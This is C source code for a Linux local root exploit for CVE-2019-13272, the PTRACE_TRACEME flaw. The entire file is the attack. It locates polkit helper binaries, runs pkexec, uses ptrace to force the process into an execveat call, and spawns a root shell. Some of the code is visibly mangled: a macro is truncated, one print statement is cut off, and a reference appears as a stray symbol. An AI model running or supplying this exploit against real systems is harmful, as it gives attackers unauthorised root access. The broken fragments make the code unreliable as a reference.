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| // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
typeof(expr) __res = (expr); \ if (__res == -1) { \ dprintf("[-] Error: %s\n", return 0; \ } \ __res; \ })
static const char *SHELL = "/bin/bash";
static int middle_success = 1; static int block_pipe[2]; static int self_fd = -1; static int dummy_status; static const char *helper_path; static const char *pkexec_path = "/usr/bin/pkexec"; static const char *pkaction_path = "/usr/bin/pkaction"; struct stat st;
const char *helpers[1024];
const char *known_helpers[] = { "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", "/usr/bin/lxqt-backlight_backend", "/usr/libexec/gsd-wacom-led-helper", "/usr/libexec/gsd-wacom-oled-helper", "/usr/libexec/gsd-backlight-helper", "/usr/lib/gsd-backlight-helper", "/usr/lib/gsd-wacom-led-helper", "/usr/lib/gsd-wacom-oled-helper", };
/* temporary printf; returned pointer is valid until next tprintf */ static char *tprintf(char *fmt, ...) { static char buf[10000]; va_list ap; va_start(ap, fmt); vsprintf(buf, fmt, ap); va_end(ap); return buf; }
/* * fork, execute pkexec in parent, force parent to trace our child process, * execute suid executable (pkexec) in child. */ static int middle_main(void *dummy) { prctl(PR_SET_PDEATHSIG, SIGKILL); pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork()); if (child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */ int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); while (1) { char buf[1000]; ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); buf[buflen] = '\0'; if (strstr(buf, needle)) break; }
/* * this is where the bug is triggered. * while our parent is in the middle of pkexec, we force it to become our * tracer, with pkexec's creds as ptracer_cred. */ SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/* * now we execute a suid executable (pkexec). * Because the ptrace relationship is considered to be privileged, * this is a proper suid execution despite the attached tracer, * not a degraded one. * at the end of execve(), this process receives a SIGTRAP from ptrace. */ execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed"); exit(EXIT_FAILURE); }
SAFE(dup2(self_fd, 0)); SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */ struct passwd *pw = getpwuid(getuid()); if (pw == NULL) { dprintf("[-] getpwuid: Failed to retrieve username"); exit(EXIT_FAILURE); }
middle_success = 1; execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, helper_path, "--help", NULL); middle_success = 0; dprintf("[-] execl: Executing pkexec failed"); exit(EXIT_FAILURE); }
/* ptrace pid and wait for signal */ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { struct user_regs_struct regs; struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */ unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; struct injected_page { unsigned long argv[2]; unsigned long envv[1]; char arg0[8]; char path[1]; } ipage = { .argv = { scratch_area + offsetof(struct injected_page, arg0) } }; strcpy(ipage.arg0, arg0); for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { unsigned long pdata = ((unsigned long *)&ipage)[i]; SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata)); }
/* execveat(exec_fd, path, argv, envv, flags) */ regs.orig_rax = __NR_execveat; regs.rdi = exec_fd; regs.rsi = scratch_area + offsetof(struct injected_page, path); regs.rdx = scratch_area + offsetof(struct injected_page, argv); regs.r10 = scratch_area + offsetof(struct injected_page, envv); regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); }
static int middle_stage2(void) { /* our child is hanging in signal delivery from execve()'s SIGTRAP */ pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); force_exec_and_wait(child, 42, "stage3"); return 0; }
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) { SAFE(setresgid(0, 0, 0)); SAFE(setresuid(0, 0, 0)); execlp(SHELL, basename(SHELL), NULL); dprintf("[-] execlp: Executing shell %s failed", SHELL); exit(EXIT_FAILURE); }
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) { const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) { dprintf("[-] Could not find pkexec executable at %s", pkexec_path); exit(EXIT_FAILURE); } if (stat(pkaction_path, &st) != 0) { dprintf("[-] Could not find pkaction executable at %s", pkaction_path); exit(EXIT_FAILURE); } if (xdg_session == NULL) { dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); return 1; } if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { dprintf("[!] Warning: Could not find active PolKit agent\n"); return 1; } if (stat("/usr/sbin/getsebool", &st) == 0) { if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); return 1; } }
dprintf("[~] Done, looks good\n");
return 0; }
/* * Use pkaction to search PolKit policy actions for viable helper executables. * Check each action for allow_active=yes, extract the associated helper path, * and check the helper path exists. */ int find_helpers() { char cmd[1024]; snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); FILE *fp; fp = popen(cmd, "r"); if (fp == NULL) { dprintf("[-] Failed to run: %s\n", cmd); exit(EXIT_FAILURE); }
char line[1024]; char buffer[2048]; int helper_index = 0; int useful_action = 0; static const char *needle = "org.freedesktop.policykit.exec.path -> "; int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) { /* check the action uses allow_active=yes*/ if (strstr(line, "implicit active:")) { if (strstr(line, "yes")) { useful_action = 1; } continue; }
if (useful_action == 0) continue; useful_action = 0;
/* extract the helper path */ int length = strlen(line); char* found = memmem(&line[0], length, needle, needle_length); if (found == NULL) continue;
memset(buffer, 0, sizeof(buffer)); for (int i = 0; found[needle_length + i] != '\n'; i++) { if (i >= sizeof(buffer)-1) continue; buffer[i] = found[needle_length + i]; }
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || strstr(&buffer[0], "/cpugovctl") != 0 || strstr(&buffer[0], "/package-system-locked") != 0 || strstr(&buffer[0], "/cddistupgrader") != 0) { dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); continue; }
/* check the path exists */ if (stat(&buffer[0], &st) != 0) continue;
helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) break; }
pclose(fp); return 0; }
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() { dprintf("[.] Using helper: %s\n", helper_path);
/* * set up a pipe such that the next write to it will block: packet mode, * limited to one packet */ SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); char dummy = 0; SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */ dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); static char middle_stack[1024*1024]; pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); if (!middle_success) return 1;
/* * wait for our child to go through both execve() calls (first pkexec, then * the executable permitted by polkit policy). */ while (1) { int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); char buf[16]; int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); buf[buflen] = '\0'; *strchrnul(buf, '\n') = '\0'; if (strncmp(buf, basename(helper_path), 15) == 0) break; usleep(100000); }
/* * our child should have gone through both the privileged execve() and the * following execve() here */ dprintf("[.] Tracing midpid ...\n"); SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); SAFE(waitpid(midpid, &dummy_status, 0)); dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2"); exit(EXIT_SUCCESS); }
int main(int argc, char **argv) { if (strcmp(argv[0], "stage2") == 0) return middle_stage2(); if (strcmp(argv[0], "stage3") == 0) return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) { exit(0); }
/* Search for known helpers defined in 'known_helpers' array */ dprintf("[.] Searching for known helpers ...\n"); for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) { if (stat(known_helpers[i], &st) == 0) { helper_path = known_helpers[i]; dprintf("[~] Found known helper: %s\n", helper_path); ptrace_traceme_root(); } }
/* Search polkit policies for helper executables */ dprintf("[.] Searching for useful helpers ...\n"); find_helpers(); for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) { if (helpers[i] == NULL) break;
if (stat(helpers[i], &st) == 0) { helper_path = helpers[i]; ptrace_traceme_root(); } }
return 0; }
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